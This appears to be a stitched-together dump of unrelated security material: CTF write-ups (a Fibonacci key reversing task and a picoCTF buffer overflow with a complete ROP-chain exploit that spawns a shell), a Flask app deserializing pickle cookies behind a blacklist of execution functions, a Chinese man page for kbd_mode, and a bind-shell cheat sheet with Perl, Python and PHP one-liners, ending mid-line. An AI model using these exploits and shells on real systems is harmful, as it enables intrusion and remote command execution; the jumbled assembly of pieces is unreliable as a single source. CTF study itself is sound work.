encode=lambda m:b(g^e for g,e in zip(v(b'BEGN',97)+b'DATA'+__import__('struct').pack(">I",len(m))+m+v(b'END.',65),p))
#END
Testing your code (length 232)...
[I][2021-08-30T13:30:10+0000] Mode: STANDALONE_ONCE
[I][2021-08-30T13:30:10+0000] Jail parameters: hostname:'NSJAIL', chroot:'/', process:'/usr/bin/python3', bind:[::]:0, max_conns:0, max_conns_per_ip:0, time_limit:5, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:false, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2021-08-30T13:30:10+0000] Mount: '/' -> '/' flags:MS_RDONLY|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2021-08-30T13:30:10+0000] Mount: '/home/user/empty' -> '/home/user/full_tester.py' flags:MS_RDONLY|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:false
[I][2021-08-30T13:30:10+0000] Mount: '/proc' flags:MS_RDONLY type:'proc' options:'' dir:true
[I][2021-08-30T13:30:10+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2021-08-30T13:30:10+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2021-08-30T13:30:10+0000] Executing '/usr/bin/python3' for '[STANDALONE MODE]'
Running encode() on all tests...
Saving results...
[I][2021-08-30T13:30:11+0000] pid=3 ([STANDALONE MODE]) exited with status: 0, (PIDs left: 0)
Verifying tests...
All tests passed!
CTF{EncodingSuccessfulIntelReceivedCorrectly}
```
|
sec-knowleage
|
# Reversing Nature
Category: Reversing & Binary Exploitation
## Description
> Reversing binaries is lame, I want you to reverse nature
A binary file was attached.
## Solution
Let's run the file:
```console```
root@kali:/media/sf_CTFs/technion/Reversing_Nature# ./reversing_nature
Enter the key: test
You're not good enough at reversing nature, try again
```
So we need to enter some key. Let's open the binary in Ghirda:
```c
undefined8 main(void)
{
ulong is_valid;
long j;
undefined8 *pUserInput;
long in_FS_OFFSET;
int key_len;
int i;
uint32_t user_input [100];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
key_len = 0;
j = 50;
pUserInput = (undefined8 *)user_input;
while (j != 0) {
j = j + -1;
*pUserInput = 0;
pUserInput = pUserInput + 1;
}
printf("Enter the key: ");
__isoc99_scanf(&DAT_00102030,&key_len);
if (100 < key_len) {
key_len = 100;
}
i = 0;
while (i < key_len) {
j = (long)i;
i = i + 1;
__isoc99_scanf(&DAT_00102030,user_input + j,user_input);
}
is_valid = verify_key(key_len + -1,(int *)user_input,0);
if ((char)is_valid == '\0') {
puts("You\'re not good enough at reversing nature, try again");
}
else {
print_flag((long)user_input,key_len);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
We can see that the input the program is requesting is integers (read via `"%d"`). First, the program asks for an integer smaller than 100. Then, it reads that many integers from the user. Finally, it calls `verify_key` to check the input, and prints the key if the function returns successfully. So, we should understand what `verify_key` does:
```c
ulong verify_key(int param_1,int *p_user_input,int param_3)
{
uint uVar1;
ulong uVar2;
if (1 < param_1) {
if ((p_user_input[(long)param_1 + -2] + p_user_input[(long)param_1 + -1] == p_user_input[param_1]) &&
(uVar2 = verify_key(param_1 + -1,p_user_input,p_user_input[param_1] + param_3), (char)uVar2 != '\0')) {
uVar1 = 1;
}
else {
uVar1 = 0;
}
return (ulong)uVar1;
}
if ((((param_1 == 1) && (p_user_input[1] == p_user_input[0])) && (p_user_input[1] == 1)) &&
(param_3 == -0x53f35e20)) {
return 1;
}
return 0;
}
```
We can see that `verify_key` is a recursive function. We want it to return `1`. There are two cases where this happens. In the first condition, for `uVar1` to be set to `1` we need `uVar2` to be different than `0`, and that happens if the recursive call to `verify_key` returns `1`. So, the condition that really interests us is the second one:
```c
if ((((param_1 == 1) && (p_user_input[1] == p_user_input[0])) && (p_user_input[1] == 1)) &&
(param_3 == -0x53f35e20)) {
return 1;
}
```
For the condition to be true, we need the first two numbers we enter to be `1` and `1`. At the same time, we also need `param_1` to be `1`. We can see that `param_1` starts as the number of keys and is decremented for each recursive call. Therefore, if we reverse our way back up the call stack, we know that the calling function had `param_1` as `2`. If we made the recursive call, we need to assume that `p_user_input[(long)param_1 + -2] + p_user_input[(long)param_1 + -1] == p_user_input[param_1]` was true. So, we translate this to: `p_user_input[0] + p_user_input[1] == p_user_input[2]`, which means that the third number we should enter is `1 + 1`, i.e. `2`.
Let's repeat this one more time in case the pattern isn't clear yet. The calling function has `param_1` as `3`. Therefore the condition would be `p_user_input[1] + p_user_input[2] == p_user_input[3]`, i.e. the forth number is `1 + 2`, i.e. `3`. It should be pretty clear by now that we're talking about the Fibonacci series.
At this point, instead of trying to calculate the exact length of the Fibonacci series that we need to provide in order to have `param_3` equal `-0x53f35e20` when arriving to the base condition, we can just brute force all the lengths up to `100`:
```python
from pwn import *
def fib(n):
a, b = 1, 1
for _ in range(n):
yield a
a, b = b, a + b
for i in range(1, 100):
with context.local(log_level='ERROR'):
p = process("./reversing_nature")
p.sendline(str(i))
for f in fib(i):
p.sendline(str(f))
out = p.recvall().decode("ascii")
if "not good" not in out:
print(f"i = {i}")
print(out)
break
```
Output:
```console
root@kali:/media/sf_CTFs/technion/Reversing_Nature# python3 solve.py
i = 50
Enter the key: Yeah maybe I exaggerated about reversing nature, the flag is cstechnion{th3_g0ld3n_r3v3r53}
```
|
sec-knowleage
|
# Guessing Game 1
Category: Binary Exploitation
## Description
> I made a simple game to show off my programming skills. See if you can beat it!
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
```
Makefile:
```makefile
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
```
In addition, a binary file was included.
## Solution
This is a short program which randomly selects a number, and asks the user to guess it. If successful, the user can enter a name and be congratulated.
Actually, did I say "*randomly selects*"? That's a bit of an overstatement. The program uses `rand()` without even setting a seed via `srand`, making it pretty easy to "guess".
Let's take an example program which calls `rand()` and see what it outputs if we call the program a few times:
```c
#include <stdio.h>
#include <stdlib.h>
int main ()
{
printf ("rand() returned: %d\n", rand());
return 0;
}
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# gcc rand.c -o rand
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# ./rand
rand() returned: 1804289383
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# ./rand
rand() returned: 1804289383
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# ./rand
rand() returned: 1804289383
```
So we can see that the first number returned by `rand()` is far from being truly random. Notice that we're running the program from scratch a few times in a row. Calling `rand()` a second time *within* the same program will produce a different (yet still predictable) "random" number, and so will the third time and so on.
Now, the real question here is if the `rand()` implementation on the server is the same as our local `rand()` implementation, i.e. will it select the same random number at the beginning of the sequence. The specs don't really define what are the values that `rand()` should return, just that it should return "a pseudo-random integral number in the range between 0 and RAND_MAX". So, we just have to try for ourselves and see.
If the implementation is the same, the number chosen by the program would be:
```c
long ans = get_random(); // This will return 1804289383 % 100 = 83
ans = increment(ans); // 'ans' will be 83 + 1 = 84
```
Let's try it:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# nc jupiter.challenges.picoctf.org 28951
Welcome to my guessing game!
What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!
New winner!
Name?
```
Looks good! But even if it wouldn't have worked, we could have easily brute-forced the guess, since the random number is limited to 100 values. So, bypassing the guess isn't that hard anyway.
In order to read the `rand` values directly from a Python script, we can implement the following module:
```python
#
# c_rand
#
from ctypes import *
import collections
# This module caches results from LibC rand().
# After creating a new generator (e.g. r = rand_gen()), each call to next(r) will
# return the same sequence as libc.rand() returned from the start.
# For example:
#
# >>> r1 = rand_gen()
# >>> r2 = rand_gen()
# >>> assert(next(r1) == next(r2))
#
# Generator factory based on https://stackoverflow.com/questions/55674212/shared-python-generator
_libc = CDLL("libc.so.6")
_deques = []
_already_gone = []
def rand_gen():
new_deque = collections.deque()
new_deque.extend(_already_gone)
_deques.append(new_deque)
def gen(mydeque):
while True:
if not mydeque: # when the local deque is empty
newval = _libc.rand() # fetch a new value and
_already_gone.append(newval)
for d in _deques: # load it to all the _deques
d.append(newval)
yield mydeque.popleft()
return gen(new_deque)
```
Basically, this module implements a generator factory where each generator allows reading C's `rand()` sequence from the start. Alternatively, we could have just used a hardcoded "84".
Now, let's continue towards the binary exploitation part. It's pretty obvious that we have a buffer overflow here:
```c
#define BUFSIZE 100
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
```
`winner` is 100 bytes long, but it's possible to read up to 360 bytes into it. This means that we can override the return address of the function and take control of the flow.
`checksec.sh` claims that the binary has a stack canary, but we can see in the assembly that this is not correct (at least not for `win`):
```assembly
[0x00400c40]> s sym.win
[0x00400c40]> pdf
/ (fcn) sym.win 76
| sym.win ();
| ; var char *s @ rbp-0x70
| ; CALL XREF from main @ 0x400cfc
| 0x00400c40 55 push rbp
| 0x00400c41 4889e5 mov rbp, rsp
| 0x00400c44 4883ec70 sub rsp, 0x70
| 0x00400c48 488d3d782409. lea rdi, str.New_winner___Name ; 0x4930c7 ; "New winner!\nName? "
| 0x00400c4f b800000000 mov eax, 0
| 0x00400c54 e8b7f30000 call sym.__printf
| 0x00400c59 488b15489b2b. mov rdx, qword [obj.stdin] ; obj._IO_stdin
| ; [0x6ba7a8:8]=0x6ba580 obj._IO_2_1_stdin ; FILE *stream
| 0x00400c60 488d4590 lea rax, [s]
| 0x00400c64 be68010000 mov esi, 0x168 ; 360 ; int size
| 0x00400c69 4889c7 mov rdi, rax ; char *s
| 0x00400c6c e89ffd0000 call sym.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400c71 488d4590 lea rax, [s]
| 0x00400c75 4889c6 mov rsi, rax
| 0x00400c78 488d3d5b2409. lea rdi, str.Congrats__s ; 0x4930da ; "Congrats %s\n\n"
| 0x00400c7f b800000000 mov eax, 0
| 0x00400c84 e887f30000 call sym.__printf
| 0x00400c89 90 nop
| 0x00400c8a c9 leave
\ 0x00400c8b c3 ret
[0x00400c40]>
```
Our binary is statically linked:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# ldd ./vuln
not a dynamic executable
```
This means that we have many gadgets that can be used in order to create a ROP chain.
Therefore, our plan is to:
1. Generate a ROP chain
2. Find the exact overflow offset
3. Override the stack at the overflow offset with the ROP chain and spawn a shell
We can generate a ROP chain using a tool, we just need to make sure that:
* The padding and the ROP chain both fit into 360 bytes.
* The ROP chain does not contain any byte with the value '`0x0a`' (a.k.a '`\n`') since `fgets` will stop reading when it encounters a newline.
ROPgadget ("`ROPgadget --binary ./vuln --ropchain --badbytes 0a`") produces a ROP chain which is too long, but `ropper` gets it right:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# source /hdd2/py3venv/ropper/bin/activate
(ropper) root@kali:/media/sf_CTFs/pico/Guessing_Game_1# ropper --file ./vuln --chain "execve cmd=/bin/sh" --badbytes 0a
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] filtering badbytes... 100%
[LOAD] removing double gadgets... 100%
[INFO] ROPchain Generator for syscall execve:
[INFO]
write command into data section
rax 0xb
rdi address to cmd
rsi address to null
rdx address to null
[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO]
[INFO] Look for syscall gadget
[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 # f01c7ecf217d3cebdf4f676920f17ebfcb33d5d14d78df8dfffed5c5290e6f62
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x0000000000010ca3) # 0x0000000000410ca3: pop rsi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x000000000004cc26) # 0x000000000044cc26: pop rdx; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000163f4) # 0x00000000004163f4: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000049e35) # 0x0000000000449e35: syscall; ret;
print rop
[INFO] rop chain generated!
(ropper) root@kali:/media/sf_CTFs/pico/Guessing_Game_1# deactivate
```
We can incorporate this ROP chain into the following `pwntools` script:
```python
# First, generate a template via:
# $ pwn template --host jupiter.challenges.picoctf.org --port 28951 ./vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from struct import pack
import c_rand
class GuessingGame1():
def __init__(self, io):
self.io = io
self.rand = c_rand.rand_gen()
def guess(self, guess_val):
self.io.recvuntil("What number would you like to guess?\n")
log.debug("Guessing: '{}'".format(guess_val))
self.io.sendline(guess_val)
line = self.io.recvline()
if not "Congrats!" in line.decode("ascii"):
raise RuntimeError("Incorrect guess: {}".format(guess_val))
def enter_name(self, name):
log.debug("Entering name: '{}'".format(name))
self.io.sendline(name)
def send_payload(self, payload):
guess_val = str((next(self.rand) % 100) + 1)
log.info("Guessing: '{}'".format(guess_val))
self.guess(guess_val)
log.info("Sending payload: \n{}".format(hexdump(payload)))
self.enter_name(payload)
self.io.recvline()
self.io.recvline()
self.io.recvline()
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(150, n = exe.bytes)
gg1 = GuessingGame1(proc)
with context.local(log_level='ERROR'):
gg1.send_payload(payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {}".format(offset))
return offset
def get_rop():
p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 # f01c7ecf217d3cebdf4f676920f17ebfcb33d5d14d78df8dfffed5c5290e6f62
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = b''
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x0000000000010ca3) # 0x0000000000410ca3: pop rsi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x000000000004cc26) # 0x000000000044cc26: pop rdx; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000163f4) # 0x00000000004163f4: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000049e35) # 0x0000000000449e35: syscall; ret;
return rop
io = start()
io.recvuntil("Welcome to my guessing game!")
overflow_offset = get_overflow_offset()
payload = fit({overflow_offset: get_rop()})
assert(len(payload) <= 360)
gg1 = GuessingGame1(io)
gg1.send_payload(payload)
io.interactive()
```
The script uses the `c_rand` module to get the `rand()` value and guess correctly the missing number, then uses the `cyclic` pattern to find the overflow offset in `get_overflow_offset`, and finally overwrites the stack at the overflow offset with the ROP chain generated by `ropper`.
Output:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_1# python3 exploit.py
[*] '/media/sf_CTFs/pico/Guessing_Game_1/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to jupiter.challenges.picoctf.org on port 28951: Done
[+] Starting local process '/media/sf_CTFs/pico/Guessing_Game_1/vuln': pid 15083
[*] Process '/media/sf_CTFs/pico/Guessing_Game_1/vuln' stopped with exit code -11 (SIGSEGV) (pid 15083)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/Guessing_Game_1/core.15083'
Arch: amd64-64-little
RIP: 0x400c8b
RSP: 0x7ffdcc0bc5a8
Exe: '/media/sf_CTFs/pico/Guessing_Game_1/vuln' (0x400000)
Fault: 0x6161616161616170
[*] Overflow offset: 120
[*] Guessing: '84'
[*] Sending payload:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│
00000070 64 61 61 62 65 61 61 62 eb db 40 00 00 00 00 00 │daab│eaab│··@·│····│
00000080 2f 2f 62 69 6e 2f 73 68 96 06 40 00 00 00 00 00 │//bi│n/sh│··@·│····│
00000090 e0 a0 6b 00 00 00 00 00 c9 95 46 00 00 00 00 00 │··k·│····│··F·│····│
000000a0 ef be ad de ef be ad de ef be ad de ef be ad de │····│····│····│····│
*
000000c0 eb db 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
000000d0 96 06 40 00 00 00 00 00 e8 a0 6b 00 00 00 00 00 │··@·│····│··k·│····│
000000e0 c9 95 46 00 00 00 00 00 ef be ad de ef be ad de │··F·│····│····│····│
000000f0 ef be ad de ef be ad de ef be ad de ef be ad de │····│····│····│····│
00000100 ef be ad de ef be ad de 96 06 40 00 00 00 00 00 │····│····│··@·│····│
00000110 e0 a0 6b 00 00 00 00 00 a3 0c 41 00 00 00 00 00 │··k·│····│··A·│····│
00000120 e8 a0 6b 00 00 00 00 00 26 cc 44 00 00 00 00 00 │··k·│····│&·D·│····│
00000130 e8 a0 6b 00 00 00 00 00 f4 63 41 00 00 00 00 00 │··k·│····│·cA·│····│
00000140 3b 00 00 00 00 00 00 00 35 9e 44 00 00 00 00 00 │;···│····│5·D·│····│
00000150
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_b30e66e722f3f0d0}
$ exit
$
[*] Got EOF while reading in interactive
$
[*] Closed connection to jupiter.challenges.picoctf.org port 28951
[*] Got EOF while sending in interactive
```
The flag: `picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_b30e66e722f3f0d0}`
|
sec-knowleage
|
from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string
import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile
SECRET_KEY = 'you will never guess'
if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip()
app = Flask(__name__)
app.config.from_object(__name__)
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
@app.before_request
def count():
session['cnt'] = 0
@app.route('/')
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location)
@app.route('/clear')
def clear():
flash("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response
@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
flash("Message cleared, tell us when you have found more brains.")
else:
flash("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html')
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value)))
class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!')
def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper
def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
return location
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5051)
|
sec-knowleage
|
.TH KBD_MODE 1 "28 Oct 1997" "Console tools" "Linux User's Manual"
.SH NAME
kbd_mode \- 显示或者设置键盘模式
.SH "总览 (SYNOPSIS)"
.BI "kbd_mode [ " -auks " ]"
.SH "描述 (DESCRIPTION)"
.PP
如果 没有 参数
.B kbd_mode
会 显示 当前 键盘 的 模式, 如果 有 参数, 它会把 键盘 设置成 相应的 模式。
.RS
.IR \-s :
键盘 扫描码 模式 (原始),
.PP
.IR \-k :
键值 (keycode) 模式 (半原始),
.PP
.IR \-a :
ASCII 模式 (XLATE),
.PP
.IR \-u :
UTF-8 模式 (UNICODE)。
.RE
.I XLATE
模式 是 传统 模式, 所用的 代码 可以 是 任何
.B 8\-bit (8位)
的 字符集. 一般 这个 字符集 同 后面 用到 的 字符集 是 匹配 的, 在 它们 被
传给 屏幕 后, 它们 会 根据
.B consolechars
.IR -m
选择的 字符集 在 内部 转换 为 Unicode,
在
.I UNICODE
模式, 键盘 会 产生
.B 16位
的 字符, 这些 字符 会 以1, 2 或者 3 字节 的 形式 (UTF\-8 编码) 传给 内核。
.B UTF\-8
在这 后两种 模式中 要 用到
.BR loadkeys (1)
定义的 键盘 映射 表。
.B 警告:
如果 不是 把 键盘 模式 改为 ASCII 或者 Unicode, 很可能 会使 键盘 不可用。
这个 命令 也 可以 在 有些 程序 使你的 键盘 处于 错误 状态时 用来 把 键盘 改回
.I XLATE
或者
.I UNICODE
模式 (比如 通过 远程 登录)。 在 有些 过时的 版本的 程序 中
.I \-u
和
.IR \-s
是 一样的。
.SH "参见 (SEE ALSO)"
.BR loadkeys (1),
.BR consolechars (8).
.SH "[中文版维护人]"
.B 唐友 <tony_ty@263.net>
.SH "[中文版最新更新]"
.BR 2001/9/13
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Bind Shell
## Summary
* [Bind Shell](#bind-shell)
* [Perl](#perl)
* [Python](#python)
* [PHP](#php)
* [Ruby](#ruby)
* [Netcat Traditional](#netcat-traditional)
* [Netcat OpenBsd](#netcat-openbsd)
* [Ncat](#ncat)
* [Socat](#socat)
* [Powershell](#powershell)
## Perl
```perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
```
## Python
Single line :
```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```
Expanded version :
```python
import socket as s,subprocess as sp;
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();
while True:
d = c.recv(1024).decode();
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())
```
## PHP
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
